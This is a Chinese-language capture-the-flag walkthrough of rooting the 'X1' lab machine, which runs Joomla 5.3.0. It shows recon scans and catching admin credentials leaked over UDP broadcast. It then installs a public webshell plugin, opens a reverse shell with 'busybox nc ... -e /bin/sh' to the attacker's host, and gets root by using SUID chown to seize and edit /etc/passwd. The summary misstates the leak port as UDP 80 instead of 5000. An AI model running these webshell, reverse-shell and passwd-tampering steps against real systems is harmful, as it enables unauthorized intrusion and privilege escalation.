Hello!今天分享一下靶机 X1 的渗透过程。这靶机其实发布有几天了,但我一直没啥空。今天瞅了一眼群里,就一个人解出来了,给我整好奇了!

image-20250511212617292

一、信息收集,打探敌情

1. 老规矩,arp-scan 开路找邻居

┌──(kali㉿kali)-[~]
└─$ sudo arp-scan -l         
[sudo] password for kali: 
Interface: eth0, type: EN10MB, MAC: 00:0c:29:af:40:3a, IPv4: 192.168.205.206
WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied
WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.205.1   00:50:56:c0:00:08       (Unknown)
192.168.205.2   00:50:56:f4:ef:6f       (Unknown)
192.168.205.207 08:00:27:aa:93:a3       (Unknown)  <-- 目标IP
192.168.205.254 00:50:56:ef:52:74       (Unknown)

4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.957 seconds (130.81 hosts/sec). 4 responded

目标IP锁定:192.168.205.207

2. nmap 扫端口,看看开了啥服务

┌──(kali㉿kali)-[~]
└─$ nmap -p- 192.168.205.207         
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-11 09:26 EDT
Nmap scan report for 192.168.205.207
Host is up (0.00014s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:AA:93:A3 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1.16 seconds

开放了 22 (SSH) 和 80 (HTTP) 端口。那必须先从 80 端口下手!

3. 访问80端口,初探Web应用

浏览器打开 http://192.168.205.207/

image-20250511212745043

看着像是个CMS,页面上还有个 "shark"(鲨鱼)。直觉告诉我,nuclei 该启动了!

┌──(kali㉿kali)-[~]
└─$ nuclei -u http://192.168.205.207/

# ... (部分输出省略) ...

[joomla-manifest-file] [http] [medium] http://192.168.205.207/administrator/manifests/files/joomla.xml
[apache-detect] [http] [info] http://192.168.205.207/ ["Apache/2.4.62 (Debian)"]
[corebos-htaccess] [http] [info] http://192.168.205.207/htaccess.txt
[joomla-detect:version] [http] [info] http://192.168.205.207/administrator/manifests/files/joomla.xml ["5.3.0"]

# ... (其他检测结果) ...

是 Joomla,版本 5.3.0。查了一下,这版本3月份才发布的第三版,真够新鲜的(流鼻涕)。这意味着公开的 Exploit 估计是没戏了,除非咱能现场打个0day,那当我没说。

还是老老实实找信息吧。

4. 目录爆破,看看藏了啥

gobuster 跑一下目录:

┌──(kali㉿kali)-[/mnt/hgfs/gx]
└─$ gobuster dir -u http://192.168.205.207/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -x php,txt,md,html
# ... (扫描过程和部分结果) ...
/images               (Status: 301) [Size: 319] [--> http://192.168.205.207/images/]
/index.php            (Status: 200) [Size: 9102]
/README.txt           (Status: 200) [Size: 5034]
/robots.txt           (Status: 200) [Size: 764]
/administrator        (Status: 301) [Size: 326] [--> http://192.168.205.207/administrator/]
/configuration.php    (Status: 200) [Size: 0] 
/htaccess.txt         (Status: 200) [Size: 6899]
# ... (其他301重定向) ...

扫出来一堆301,有用的不多。

5. Joomla专用扫描器 joomscan 登场

找了半天没啥进展,掏出了 Joomla 专用扫描器 joomscan

┌──(kali㉿kali)-[~]
└─$ joomscan --url http://192.168.205.207/
# ... (扫描过程) ...
[+] FireWall Detector
[++] Firewall not detected

[+] Detecting Joomla Version
[++] Joomla 5.3.0

[+] Core Joomla Vulnerability
[++] Target Joomla core is not vulnerable

[+] Checking Directory Listing
[++] directory has directory listing : 
http://192.168.205.207/administrator/components
http://192.168.205.207/administrator/modules
http://192.168.205.207/administrator/templates
http://192.168.205.207/images/banners
# ... (其他发现) ...

joomscan 也没发现啥实质性的漏洞,就列了几个能访问的目录。我还以为能扒拉出个什么插件漏洞呢,结果这CMS比我钱包都干净。

6. 难道不是80端口?排查其他可能性

IPv6 瞅瞅:

┌──(kali㉿kali)-[~]
└─$ ping6 -I eth0 ff02::1
# ... (ping6 正常,发现 fe80::a00:27ff:feaa:93a3%eth0) ...
└─$ nmap -6 -p- fe80::a00:27ff:feaa:93a3%eth0
# ... (扫描结果还是只有 22 和 80) ...

IPv6 这边没啥幺蛾子。

UDP 端口扫一下常见的:

┌──(kali㉿kali)-[~]
└─$ nmap -sU --top-ports 100 192.168.205.207 
# ... (扫描结果) ...
PORT   STATE         SERVICE
68/udp open|filtered dhcpc

常见的100个UDP端口也没啥发现(如果他端口开在100名开外,那对我可真是绝杀了)。

这下给我整怀疑人生了,去瞅了眼靶机难度:
image-20250511215218183
"比较简单"???难道是我变菜了???

7. 峰回路转,监听网络流量!

之前遇到过会定时发包的靶机,试试看有没有动静。
tcpdump 监听 ICMP:

┌──(kali㉿kali)-[~]
└─$ sudo tcpdump -A -n icmp
# ... (一片寂静) ...

毛线没有,啊啊啊!TCP的包也看了一堆,除了我自己的流量,也没啥特别的(私人的包就不贴上来了)。

最后希望,UDP流量:

┌──(kali㉿kali)-[~]
└─$ sudo tcpdump -A -n udp 
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
09:57:33.971737 IP 192.168.205.207.48368 > 255.255.255.255.5000: UDP, length 1
E.....@.@................       h.8.................
09:57:33.971797 IP 192.168.205.207.48368 > 255.255.255.255.5000: UDP, length 1
E.....@.@................       h.8.................
# ... (持续出现类似的 UDP 包,目标端口 5000,长度为 1) ...
09:58:02.059998 IP 192.168.205.207.39435 > 255.255.255.255.5000: UDP, length 1
E...+t@.@................       Q.r.................
# ... (数据内容在变化,但都是单个字符) ...

我去!在这儿等着我呢!目标主机 192.168.205.207 在往广播地址 255.255.255.255 的 UDP 5000 端口发包,每次一个字符。
这不就对上了吗?首页那个 "shark"(鲨鱼)... Wireshark!草,原来是这个意思!

赶紧把这些字符提取出来。一个个复制粘贴太蠢了,不理解但尊重想那么干的勇士。
仔细观察发现,它是在UDP 5000端口下发送数据。用 nc 试试:

┌──(kali㉿kali)-[~]
└─$ nc -lu -p 5000
r^C 

等了一会儿,nc 只能接收一个字符,而且接收完就断了。这不行啊,得想个办法持续接收。我去问了GPT,它给了个用 ncat 的方法:

┌──(kali㉿kali)-[~]
└─$ ncat -luk -p 5000
8182602383ce1root:00dae9e3052fb2255408182602383ce1^C

成了!捕获到一串字符:root:00dae9e3052fb2255408182602383ce1

二、获取初始访问权限

按照我对群主的理解,就算靶机标的“比较简单”,也不会直接就送个 root 密码。这串 root:00dae9e3052fb2255408182602383ce1 看着就像用户名和密码(或者密码哈希),这应该是 Joomla 后台 /administrator/ 的登录凭据。

1. 登录Joomla后台

用用户名 root 和密码 00dae9e3052fb2255408182602383ce1 尝试登录 http://192.168.205.207/administrator/

成功登录!我还以为要解个Hash呢。

2. 上传Webshell插件

进了后台,这种CMS最常见的GetShell方式就是通过插件上传Webshell。

image-20250511222523465在GitHub上搜了一下 "Joomla webshell plugin",很快找到了一个现成的:
https://github.com/p0dalirius/Joomla-webshell-plugin

image-20250511222613763

根据项目说明,在它的 dist 目录里下载一个打包好的 mod_webshell.zip 就行。

回到Joomla后台,"System" -> "Install" -> "Extensions",上传并安装 mod_webshell.zip
安装成功后,根据插件的说明文档,可以通过访问特定路径来执行命令。

image-20250511222957053

测试一下命令执行:

┌──(kali㉿kali)-[/mnt/hgfs/gx]
└─$ curl -X POST 'http://192.168.205.207/modules/mod_webshell/mod_webshell.php' --data "action=exec&cmd=id"
{"stdout":"uid=33(www-data) gid=33(www-data) groups=33(www-data)\n","stderr":"","exec":"id"}

命令成功执行,当前用户是 www-data

三、反弹Shell与提权

1. 获取反弹Shell

先在Kali上监听端口:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp 8888    
listening on [any] 8888 ...

然后通过Webshell执行反弹命令:

┌──(kali㉿kali)-[/mnt/hgfs/gx]
└─$ curl -X POST 'http://192.168.205.207/modules/mod_webshell/mod_webshell.php' --data "action=exec&cmd=nc 192.168.205.206 8888 -e /bin/bash"
{"stdout":"","stderr":"sh: 1: nc: not found\n","exec":"nc 192.168.205.206 8888 -e \/bin\/bash"}

目标机上没有 nc。试试 busybox nc

┌──(kali㉿kali)-[/mnt/hgfs/gx]                                                                                                                                                     
└─$ curl -X POST 'http://192.168.205.207/modules/mod_webshell/mod_webshell.php' --data "action=exec&cmd=busybox nc 192.168.205.206 8888 -e /bin/sh"

这次成功了!Kali的监听器收到了连接:

┌──(kali㉿kali)-[~]                                                                                                                                                                
└─$ nc -lvnp 8888                                                                                                                                                                  
listening on [any] 8888 ...                                                                                                                                                        
connect to [192.168.205.206] from (UNKNOWN) [192.168.205.207] 39696

2. 稳定Shell

得到的初始Shell不太好用,需要稳定一下:

# 在反弹回来的shell里执行
script /dev/null -c bash
# 按 Ctrl+Z 放到后台
# 在Kali终端执行
stty raw -echo; fg
# 回车,然后继续在反弹shell里执行
reset xterm
export TERM=xterm
export SHELL=/bin/bash
stty rows 24 columns 80 # 根据自己终端调整

OK,现在有个像样的Shell了。

3. 权限提升 (www-data -> root)

当前用户 www-data

www-data@X1:/$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

到处翻翻看,先看看 /home/var/www 目录:

www-data@X1:/$ cd /home/
www-data@X1:/home$ ls -al
total 12
drwxr-xr-x  3 root    root    4096 Apr 11 22:27 .
drwxr-xr-x 19 root    root    4096 May 10 03:38 ..
drwx------  2 welcome welcome 4096 May 10 03:44 welcome
www-data@X1:/home$ cd /var/www/html
www-data@X1:/var/www/html$ ls -al 
# ... (Joomla 文件列表) ...
www-data@X1:/var/www/html$ cat web.config.txt 
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
   <location path=".">
   <system.webServer>
       <directoryBrowse enabled="false" />
       <rewrite>
           <rules>
               <rule name="Joomla! Common Exploits Prevention" stopProcessing="true">
                   <match url="^(.*)$" ignoreCase="false" />
                   <conditions logicalGrouping="MatchAny">
                       <add input="{QUERY_STRING}" pattern="base64_encode[^(]*\([^)]*\)" ignoreCase="false" />
                       <add input="{QUERY_STRING}" pattern="(&gt;|%3C)([^s]*s)+cript.*(&lt;|%3E)" />
                       <add input="{QUERY_STRING}" pattern="GLOBALS(=|\[|\%[0-9A-Z]{0,2})" ignoreCase="false" />
                       <add input="{QUERY_STRING}" pattern="_REQUEST(=|\[|\%[0-9A-Z]{0,2})" ignoreCase="false" />
                   </conditions>
                   <action type="CustomResponse" url="index.php" statusCode="403" statusReason="Forbidden" statusDescription="Forbidden" />
               </rule>
               <rule name="Joomla! API Application SEF URLs">
                   <match url="^api/(.*)" ignoreCase="false" />
                   <conditions logicalGrouping="MatchAll">
                     <add input="{URL}" pattern="^/api/index.php" ignoreCase="true" negate="true" />
                     <add input="{REQUEST_FILENAME}" matchType="IsFile" ignoreCase="false" negate="true" />
                     <add input="{REQUEST_FILENAME}" matchType="IsDirectory" ignoreCase="false" negate="true" />
                   </conditions>
                   <action type="Rewrite" url="api/index.php" />
               </rule>
               <rule name="Joomla! Public Frontend SEF URLs">
                   <match url="(.*)" ignoreCase="false" />
                   <conditions logicalGrouping="MatchAll">
                     <add input="{URL}" pattern="^/index.php" ignoreCase="true" negate="true" />
                     <add input="{REQUEST_FILENAME}" matchType="IsFile" ignoreCase="false" negate="true" />
                     <add input="{REQUEST_FILENAME}" matchType="IsDirectory" ignoreCase="false" negate="true" />
                   </conditions>
                   <action type="Rewrite" url="index.php" />
               </rule>
           </rules>
       </rewrite>
       <httpProtocol>
           <customHeaders>
               <add name="X-Content-Type-Options" value="nosniff" />
               <!-- Protect against certain cross-origin requests. More information can be found here: -->
               <!-- https://developer.mozilla.org/en-US/docs/Web/HTTP/Cross-Origin_Resource_Policy_(CORP) -->
               <!-- https://web.dev/why-coop-coep/ -->
               <!-- <add name="Cross-Origin-Resource-Policy" value="same-origin" /> -->
               <!-- <add name="Cross-Origin-Embedder-Policy" value="require-corp" /> -->
           </customHeaders>
       </httpProtocol>
   </system.webServer>
   </location>
</configuration>

寻找SUID文件进行提权:

www-data@X1:/var/www/html$ find / -perm -4000 -type f 2>/dev/null
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/chown  <-- 老朋友了!
/usr/bin/mount
/usr/bin/su
/usr/bin/umount
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/passwd
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/libexec/polkit-agent-helper-1

发现了 /usr/bin/chown 这个老朋友,并且有SUID权限。
查阅 GTFOBins (https://gtfobins.github.io/gtfobins/chown/#suid):

image-20250511223840468

思路就是用 chown/etc/passwd 的所有权改成 www-data,然后我们就可以编辑它,给root用户改个密码(或者直接添加一个带root权限的新用户)。

生成密码哈希:
在Kali上用 openssl 生成一个密码 888888 的哈希:

┌──(kali㉿kali)-[/mnt/hgfs/gx]
└─$ openssl passwd 888888   
$1$FRnIm4sd$wXAhXRwWvKAL1viFFq.9A1

开始操作:
www-data 的Shell里:

  1. 更改 /etc/passwd 的所有权:

    www-data@X1:/var/www/html/administrator$ chown www-data:www-data /etc/passwd
  2. 编辑 /etc/passwd (如果目标机上有 nanovi 就方便多了,没有的话就得想办法把内容弄出来改了再覆盖回去):

    www-data@X1:/var/www/html/administrator$ nano /etc/passwd

    找到 root 用户那一行,通常是 root:x:0:0:root:/root:/bin/bash,把 x 替换成我们生成的哈希 $1$FRnIm4sd$wXAhXRwWvKAL1viFFq.9A1
    修改后变成:root:$1$FRnIm4sd$wXAhXRwWvKAL1viFFq.9A1:0:0:root:/root:/bin/bash

    image-20250511224840653
    保存退出。

  3. 切换到 root 用户:

    www-data@X1:/var/www/html/administrator$ su -
    Password:  # 输入 888888
    root@X1:~# id
    uid=0(root) gid=0(root) groups=0(root)

    成功拿到 root 权限!

4. 读取最终的 Flag

root@X1:~# cat /root/root.txt
flag{root-72c0cd908b77fd5a4d0c988f7e002431}    

搞定!

四、总结

这个 X1 靶机,前期信息收集阶段那个 UDP 80 端口的"鲨鱼"提示确实有点意思,没注意到的话估计得卡一会儿(我就是那个冤种)。拿到 Joomla 后台凭据后,上传插件 getshell 属于常规操作。最后的 chown SUID 提权也是比较经典的利用方式。整体来说,确实是“比较简单”,但过程还是挺有趣的。